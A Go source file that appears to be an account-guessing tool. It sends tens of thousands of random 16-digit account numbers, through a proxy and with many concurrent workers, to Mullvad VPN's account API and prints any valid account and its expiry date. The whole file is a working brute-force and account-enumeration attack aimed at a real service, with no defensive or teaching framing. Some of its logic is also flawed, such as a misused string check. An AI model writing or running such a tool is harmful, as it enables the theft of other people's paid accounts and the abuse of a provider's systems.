158 lines
2.5 KiB
Go
158 lines
2.5 KiB
Go
|
package main
|
||
|
|
||
|
import (
|
||
|
"encoding/json"
|
||
|
"fmt"
|
||
|
"io"
|
||
|
"math/rand"
|
||
|
"net/http"
|
||
|
"net/url"
|
||
|
"strings"
|
||
|
"time"
|
||
|
|
||
|
"github.com/panjf2000/ants"
|
||
|
)
|
||
|
|
||
|
var (
|
||
|
proxy = "" // Proxy URL
|
||
|
workers = 200 // Worker threads
|
||
|
amount = 50000 // Account amount
|
||
|
timeout = time.Second * 10 // Request timeout
|
||
|
)
|
||
|
|
||
|
func init() {
|
||
|
// Generate random seed
|
||
|
rand.Seed(time.Now().UnixNano())
|
||
|
}
|
||
|
|
||
|
// A login
|
||
|
type Login struct {
|
||
|
Number int
|
||
|
Client *http.Client
|
||
|
Results chan string
|
||
|
}
|
||
|
|
||
|
// API error
|
||
|
type Error struct {
|
||
|
Code string `json:"code"`
|
||
|
}
|
||
|
|
||
|
// API response
|
||
|
type Response struct {
|
||
|
Account struct {
|
||
|
Expires string `json:"expires"`
|
||
|
} `json:"account"`
|
||
|
}
|
||
|
|
||
|
// Attempt a login
|
||
|
func (l *Login) Attempt() {
|
||
|
// GET request
|
||
|
req, err := http.NewRequest(
|
||
|
"GET",
|
||
|
fmt.Sprintf("https://api.mullvad.net/www/accounts/%d", l.Number),
|
||
|
nil,
|
||
|
)
|
||
|
if err != nil {
|
||
|
l.Results <- ""
|
||
|
return
|
||
|
}
|
||
|
|
||
|
// Execute request
|
||
|
res, err := l.Client.Do(req)
|
||
|
if err != nil {
|
||
|
l.Results <- ""
|
||
|
return
|
||
|
}
|
||
|
|
||
|
// Read body
|
||
|
body, err := io.ReadAll(res.Body)
|
||
|
if err != nil {
|
||
|
l.Results <- ""
|
||
|
return
|
||
|
}
|
||
|
|
||
|
// Store JSON
|
||
|
var response Response
|
||
|
var error Error
|
||
|
|
||
|
// Parse JSON
|
||
|
json.Unmarshal(body, &response)
|
||
|
json.Unmarshal(body, &error)
|
||
|
|
||
|
// Account found
|
||
|
if response.Account.Expires != "" {
|
||
|
l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, response.Account.Expires)
|
||
|
return
|
||
|
}
|
||
|
|
||
|
// Error found
|
||
|
if error.Code != "" ||
|
||
|
strings.ContainsAny(string(body), "503 Service Temporarily Unavailable") {
|
||
|
l.Results <- ""
|
||
|
return
|
||
|
}
|
||
|
}
|
||
|
|
||
|
func main() {
|
||
|
// Get job count
|
||
|
jobs := amount
|
||
|
|
||
|
// Half worker amount
|
||
|
if workers == jobs {
|
||
|
workers = workers / 2
|
||
|
} else if workers >= jobs {
|
||
|
workers = 1
|
||
|
}
|
||
|
|
||
|
// Results channel, new pool
|
||
|
results := make(chan string)
|
||
|
pool, err := ants.NewPool(workers)
|
||
|
// Handle error
|
||
|
if err != nil {
|
||
|
panic(err)
|
||
|
}
|
||
|
defer pool.Release()
|
||
|
|
||
|
// Make amount of accounts
|
||
|
for n := 0; n <= amount; n++ {
|
||
|
// Generate number
|
||
|
number := rand.Intn(9999999999999999 - 1000000000000000)
|
||
|
|
||
|
// Parse proxy URL
|
||
|
url, err := url.Parse(proxy)
|
||
|
if err != nil {
|
||
|
panic(err)
|
||
|
}
|
||
|
|
||
|
// New HTTP client
|
||
|
client := &http.Client{
|
||
|
Transport: &http.Transport{
|
||
|
Proxy: http.ProxyURL(url),
|
||
|
},
|
||
|
Timeout: timeout,
|
||
|
}
|
||
|
|
||
|
// Create login
|
||
|
login := &Login{
|
||
|
Number: number,
|
||
|
Client: client,
|
||
|
Results: results,
|
||
|
}
|
||
|
|
||
|
// Submit job
|
||
|
pool.Submit(func() {
|
||
|
// Attempt login
|
||
|
go login.Attempt()
|
||
|
})
|
||
|
}
|
||
|
|
||
|
// Recieve all results
|
||
|
for r := 1; r <= jobs; r++ {
|
||
|
result := <-results
|
||
|
if result != "" {
|
||
|
fmt.Println(result)
|
||
|
}
|
||
|
}
|
||
|
defer close(results)
|
||
|
}
|